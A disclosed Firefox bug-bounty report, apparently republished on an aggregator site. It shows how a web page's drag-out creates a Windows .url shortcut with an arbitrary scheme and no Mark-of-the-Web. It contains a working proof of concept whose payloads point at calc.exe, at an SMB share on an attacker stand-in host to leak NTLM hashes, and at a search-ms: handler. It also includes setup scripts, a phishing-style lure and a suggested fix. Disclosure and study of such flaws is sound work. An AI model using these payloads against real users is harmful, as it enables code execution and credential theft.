Skip to content
File upload Disclosed report Intermediate CVE-2026-16378

A web page can cause Firefox to plant an attacker-named .url Internet Shortcut on the user's filesystem (via drag-out) whose URL= field carries an arbitrary scheme (file:// UNC, search-ms:, etc.), so opening it executes attacker-chosen code.

Firefox allows a web page to set a special drag-and-drop data flavour that causes the browser to create a Windows Internet Shortcut file on the user's Desktop with an arbitrary URL scheme and no Mark-of-the-Web. An attacker could use this to make the user open a shortcut that launches a local executable or contacts an attacker-controlled SMB share, bypassing SmartScreen.

Farhad Sajid Barbhuiya Follow

Originally disclosed on Mozilla

  • Fixed in 16 days
  • Paid in 3 months
  • Disclosed after 16 days

Summary

A web page can set dataTransfer.setData("text/x-moz-url", "<url>\n<title>") in a dragstart handler. When the user drags that element to the Windows shell, Firefox synthesizes a <title>.url Internet Shortcut via CFSTR_FILEDESCRIPTOR / CFSTR_FILECONTENTS containing [InternetShortcut]\r\nURL=<url> with no scheme allowlist — file://, file://UNC/..., search-ms:, ms-msdt:, etc. all pass — and the dropped file carries no Zone.Identifier ADS because Firefox does not advertise CFSTR_UNTRUSTEDDRAGDROP on the IDataObject. SmartScreen / Attachment Manager therefore do not engage when the user later opens the file.

Code path (verified in 150.0.2)

Hop Location What it shows
Web can set the flavor dom/events/DataTransfer.cpp:701-726 PrincipalMaySetData blocks */x-moz-* for content principals except text/x-moz-url* (carve-out at :715)
Flavor → shell formats widget/windows/nsClipboard.cpp:256-277 Presence of kURLMime unconditionally registers CFSTR_FILEDESCRIPTORA/W and CFSTR_FILECONTENTS
Filename widget/windows/nsDataObj.cpp:1264-1303 GetFileDescriptorInternetShortcutW builds <title>.url, cItems=1, dwFlags=FD_LINKUI only — no second stream for :Zone.Identifier
File body widget/windows/nsDataObj.cpp:1312-1436 GetFileContentsInternetShortcut → ExtractShortcutURL → NS_NewURI → GetAsciiSpec → _snprintf("[InternetShortcut]\r\nURL=%s\r\n...", asciiUrl). Only check is that NS_NewURI parses; any registered scheme passes
URL extraction widget/windows/nsDataObj.cpp:1898-1938 ExtractShortcutURL reads kURLMime raw, truncates at first \n; no scheme filter
Missing mitigation rg 'UntrustedDragDrop|Zone.Identifier' widget/windows/ → 0 hits Firefox never registers CFSTR_UNTRUSTEDDRAGDROP, so Explorer does not write MOTW on the dropped file. Chromium does (OSExchangeDataProviderWin::MarkRendererTaintedData)

Files

File Purpose
poc.html The web page. Four draggable tiles: file://→calc, file://→UNC, search-ms:, and an http:// control
serve.py Tiny HTTP server so the page is web-origin (not file://)
verify.ps1 Inspects the dropped file: prints URL= scheme and checks for Zone.Identifier ADS

Steps to reproduce

Prerequisites

  • Windows 10/11, Desktop on an NTFS volume (ADS doesn't exist on FAT/exFAT — verify step would be a tautology there).
  • Stock Firefox 150.0.2, fresh profile, no flags.
  • Python 3 on PATH (for serve.py).

A. Demonstrate arbitrary-scheme .url with no MOTW

  1. Serve the PoC from a web origin.

    cd poc\FF-005
    python serve.py 8000
    

    (Serving over HTTP — rather than opening poc.html as file:// — ensures the drag source principal is a real content principal, matching the threat model.)

  2. Open in Firefox. Navigate to http://127.0.0.1:8000/poc.html.

  3. Drag tile #1 ("file:// → calc.exe") out of the browser window and drop on the Desktop. A file Q4 Invoice.url appears.

  4. Verify contents and MOTW. In PowerShell:

    PowerShell
    .\verify.ps1 "$env:USERPROFILE\Desktop\Q4 Invoice.url"
    
  5. ** Double Click on Q4 Invoice -> It should pop calc.exe**

    
    **Expected output (vulnerable):**
    
    

    -- file contents -- [InternetShortcut] URL=file:///C:/Windows/System32/calc.exe IDList= ... (a) URL scheme in shortcut: 'file' -> NON-http(s) scheme written verbatim by Firefox (no allowlist) [VULN]

    -- NTFS alternate data streams -- Stream Length


    :$DATA ... (b) Zone.Identifier ABSENT -> no Mark-of-the-Web on web-originated file [VULN]

    
    
  6. (Comparison) Open the same poc.html URL in Chrome or Edge, drag tile #1 to the Desktop, and re-run verify.ps1 on that file. Zone.Identifier is present (ZoneId=3) — Chromium sets CFSTR_UNTRUSTEDDRAGDROP. This is the differential proof of the missing mitigation.

  7. (Optional) End-to-end execution. Double-click Q4 Invoice.url on the Desktop. Behaviour depends on Windows build/policy:

    • Many configurations launch calc.exe directly (no SmartScreen, because no MOTW).
    • Some show the legacy "Open File – Security Warning" dialog from Attachment Manager for .url→local-exe regardless of MOTW. Either way, SmartScreen reputation is bypassed — that check keys on Zone.Identifier, which is absent. Record which dialog (if any) appears in your Bugzilla report.

B. UNC / NTLM-leak variant (tile #2)

  1. Edit ATTACKER_HOST in poc.html to a host you control running an SMB or WebDAV listener (e.g., impacket-smbserver share ./ -smb2support or Responder).
  2. Reload the page, drag tile #2, drop on Desktop → Bank Statement.url with URL=file://<host>/share/Statement.exe.
  3. Double-click. Windows attempts SMB/WebDAV to <host> → NTLM hash sent to attacker; if the share serves an EXE, Explorer offers to run it (again, no MOTW on the .url itself).

C. Custom-protocol variant (tile #3)

Drag tile #3 → Shared Documents.url with a search-ms: URL. Opening it spawns Explorer with an attacker-controlled search scope (crumb=location: pointing at a UNC path) — a known living-off-the-land vector. Substitute any registered protocol handler.

D. Control (tile #4)

Drag tile #4 → Example.url with URL=https://example.com/. verify.ps1 shows scheme https (harmless) but still no Zone.Identifier — demonstrating the MOTW gap is independent of scheme.


Attacker position

Any web origin the victim visits (ad iframe, watering-hole, phishing page). No renderer exploit needed — this is plain dataTransfer.setData() from unprivileged JS.

Attack chain

┌─────────────────────────────────────────────────────────────────────┐ │ 1. DELIVERY attacker.example serves a page with a draggable lure │ │ ("Drag this invoice to your Desktop to save it") │ │ │ │ 2. dragstart e.dataTransfer.setData("text/x-moz-url", │ │ "file://atk.example/s/Invoice.exe\nQ4 Invoice") │ │ ← allowed by DataTransfer.cpp:715 carve-out │ │ │ │ 3. GESTURE #1 victim drags tile → Desktop │ │ nsClipboard.cpp:256-277 advertises CFSTR_FILECONTENTS│ │ nsDataObj.cpp:1312-1436 emits: │ │ [InternetShortcut]\r\nURL=file://atk.example/... │ │ nsDataObj never sets CFSTR_UNTRUSTEDDRAGDROP │ │ → Explorer writes "Q4 Invoice.url", NO Zone.Identifier│ │ │ │ 4. GESTURE #2 victim double-clicks "Q4 Invoice" (Explorer hides │ │ the .url extension by default; favicon makes it look │ │ like a document) │ │ │ │ 5. EXECUTION Windows resolves the URL= target with NO SmartScreen │ │ (SmartScreen keys on Zone.Identifier, which is absent)│ └─────────────────────────────────────────────────────────────────────┘

Suggested fix

  1. Scheme allowlist in nsDataObj::GetFileContentsInternetShortcut (nsDataObj.cpp:1318): after NS_NewURI, reject if scheme ∉ {http,https} (optionally ftp).
  2. Mark drags as untrusted: in nsClipboard::CreateNativeDataObject (or nsDataObj::AddDataFlavor), when the transferable's requesting principal is a content principal, register CFSTR_UNTRUSTEDDRAGDROP (value = URLZONE_INTERNET as a DWORD) so Explorer writes Zone.Identifier=3 on any materialized file. This also covers the image/file-promise drag-out paths (nsDataObj::DropTempFile, nsDataObj.cpp:1813-1868).

#serve.py `` #!/usr/bin/env python3 import http.server, socketserver, os, sys PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8000 os.chdir(os.path.dirname(os.path.abspath(file))) with socketserver.TCPServer(("127.0.0.1", PORT), http.server.SimpleHTTPRequestHandler) as httpd: print(f"FF-005 PoC: open http://127.0.0.1:{PORT}/poc.html in Firefox 150.0.2") httpd.serve_forever()

``

##verify.ps1

`` <# FF-005 verifier Usage: powershell -ExecutionPolicy Bypass -File verify.ps1 "C:\Users<you>\Desktop\Q4 Invoice.url"

Confirms the three claims: (a) the dropped file is a .url Internet Shortcut whose URL= line carries the attacker-supplied scheme verbatim (no allowlist applied); (b) the file has NO Zone.Identifier alternate data stream (no MOTW); (c) therefore SmartScreen/Attachment-Manager will not engage on open. #> param([Parameter(Mandatory=$true)][string]$Path)

if (-not (Test-Path -LiteralPath $Path)) { Write-Error "not found: $Path"; exit 2 }

Write-Host "== FF-005 verify: $Path" -ForegroundColor Cyan

Write-Host "`n-- file contents --" Get-Content -LiteralPath $Path | ForEach-Object { Write-Host " $_" }

$urlLine = (Select-String -LiteralPath $Path -Pattern '^URL=' | Select-Object -First 1).Line if ($urlLine) { $scheme = ($urlLine -replace '^URL=','') -replace '^([a-zA-Z][a-zA-Z0-9+.-]):.$','$1' Write-Host "`n(a) URL scheme in shortcut: '$scheme'" if ($scheme -in @('http','https')) { Write-Host " -> harmless control case" -ForegroundColor Yellow } else { Write-Host " -> NON-http(s) scheme written verbatim by Firefox (no allowlist) [VULN]" -ForegroundColor Red } } else { Write-Host "(a) no URL= line found (unexpected)" -ForegroundColor Yellow }

Write-Host "`n-- NTFS alternate data streams --" $streams = Get-Item -LiteralPath $Path -Stream * | Select-Object Stream,Length $streams | Format-Table -AutoSize | Out-String | Write-Host $zone = $streams | Where-Object { $.Stream -eq 'Zone.Identifier' } if ($zone) { Write-Host "(b) Zone.Identifier PRESENT:" -ForegroundColor Green Get-Content -LiteralPath $Path -Stream Zone.Identifier | ForEach-Object { Write-Host " $" } Write-Host " -> MOTW applied; FF-005 NOT reproduced for this drop" -ForegroundColor Green } else { Write-Host "(b) Zone.Identifier ABSENT -> no Mark-of-the-Web on web-originated file [VULN]" -ForegroundColor Red }

Write-Host "`n(c) Compare against Chromium: dragging the same element from Chrome/Edge" Write-Host " produces a file WITH Zone.Identifier (CFSTR_UNTRUSTEDDRAGDROP is set)." Write-Host " Re-run this script on the Chrome-dropped file to see the difference."

``

#poc.html

``

<!doctype html> <meta charset="utf-8"> <title>FF-005 PoC — drag-out .url shortcut, arbitrary scheme, no MOTW</title> <style> body { font: 14px/1.5 system-ui, sans-serif; max-width: 780px; margin: 2em auto; } .tile { display: inline-block; width: 220px; padding: 18px 14px; margin: 10px; border: 2px dashed #888; border-radius: 10px; background: #f6f6f6; cursor: grab; user-select: none; text-align: center; } .tile:active { cursor: grabbing; } .tile b { display: block; font-size: 16px; margin-bottom: 6px; } code { background: #eee; padding: 1px 4px; border-radius: 3px; } #log { white-space: pre-wrap; background: #111; color: #9f9; padding: 10px; border-radius: 6px; min-height: 4em; margin-top: 1.5em; } </style> <h1>FF-005 — drag a tile to your Desktop</h1> <p> Each tile sets <code>text/x-moz-url</code> in <code>dragstart</code>. Firefox synthesizes a <code>.url</code> Internet Shortcut via <code>CFSTR_FILECONTENTS</code> with <b>no scheme allowlist</b> and <b>no Mark-of-the-Web</b>. Drag one to the Desktop, then inspect the dropped file with <code>verify.ps1</code>. </p> <div id="t1" class="tile" draggable="true"> <b>1. file:// → calc.exe</b> Drops <code>Q4 Invoice.url</code> pointing at <code>file:///C:/Windows/System32/calc.exe</code> </div> <div id="t2" class="tile" draggable="true"> <b>2. file:// → UNC payload</b> Edit HOST below. Triggers SMB/WebDAV fetch on open. </div> <div id="t3" class="tile" draggable="true"> <b>3. search-ms: handler</b> Custom-protocol vector (Explorer search query). </div> <div id="t4" class="tile" draggable="true"> <b>4. control: http://</b> Baseline — same flow, harmless URL. </div> <pre id="log"></pre> <script> "use strict"; // Set this to your test SMB/WebDAV host for tile #2. const ATTACKER_HOST = "attacker.test"; // payload table: [flavor URL, title shown in Explorer (becomes filename)] // Format per nsDataObj::ExtractShortcutURL: "<url>\n<title>" const PAYLOADS = { t1: ["file:///C:/Windows/System32/calc.exe", "Q4 Invoice"], t2: [`file://${ATTACKER_HOST}/share/Statement.exe`, "Bank Statement"], t3: ['search-ms:query=*&crumb=location:%5C%5C' + ATTACKER_HOST + '%5Cshare&displayname=Documents', "Shared Documents"], t4: ["https://example.com/", "Example"], }; const log = (s) => { document.getElementById("log").textContent += s + "\n"; }; function arm(id) { const [url, title] = PAYLOADS[id]; const el = document.getElementById(id); el.addEventListener("dragstart", (e) => { // The carve-out at DataTransfer.cpp:715 lets unprivileged content set // text/x-moz-url. nsClipboard.cpp:256-277 then advertises // CFSTR_FILEDESCRIPTOR/CFSTR_FILECONTENTS, and // nsDataObj::GetFileContentsInternetShortcut writes // [InternetShortcut]\r\nURL=<url>\r\n // with no scheme check. e.dataTransfer.setData("text/x-moz-url", url + "\n" + title); // Also set text/uri-list + text/plain so non-shell drop targets behave; // these do NOT affect the .url synthesis path. e.dataTransfer.setData("text/uri-list", url); e.dataTransfer.setData("text/plain", url); e.dataTransfer.effectAllowed = "copyLink"; log(`dragstart #${id} url=${url} title="${title}"`); }); el.addEventListener("dragend", (e) => { log(`dragend #${id} dropEffect=${e.dataTransfer.dropEffect}`); }); } ["t1","t2","t3","t4"].forEach(arm); log("Ready. Drag a tile out of the browser window onto the Desktop."); log("Then run verify.ps1 against the dropped file."); </script>

``

The original report as published on Mozilla's Bugzilla, by Farhad Sajid Barbhuiya. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the missing scheme allowlist in the shortcut generation code and the failure to mark dragged files as untrusted, so Windows does not apply Mark-of-the-Web.

Impact

An attacker could cause the user to run arbitrary local executables or leak NTLM credentials, though some Windows configurations may still show a security warning dialog.

What the attacker needed

Windows 10/11 with NTFS desktop; Firefox 150.0.2; victim drags a tile to Desktop; victim double-clicks the shortcut

The fix

Firefox should restrict the URL scheme to http/https and register CFSTR_UNTRUSTEDDRAGDROP so that Explorer writes Zone.Identifier on dropped files.

How it was found

  1. Serve the proof-of-concept page from a web server.
  2. Open the page in Firefox.
  3. Drag a tile from the page to the Desktop, creating a .url file.
  4. Run the verification script to check the URL scheme and absence of Zone.Identifier.
  5. Double-click the dropped shortcut to execute the target.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you drag something from a web page to your desktop, Firefox can create a shortcut file. This report shows that a malicious page can make that shortcut point to any program or network location, and Windows will not warn you because the file is not marked as coming from the internet. So a user who drags a file could later run attacker code by double-clicking the shortcut.

What is File upload?

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.

More by Farhad Sajid Barbhuiya

View all

2 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Unrestricted file upload

The lesson behind this report.

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.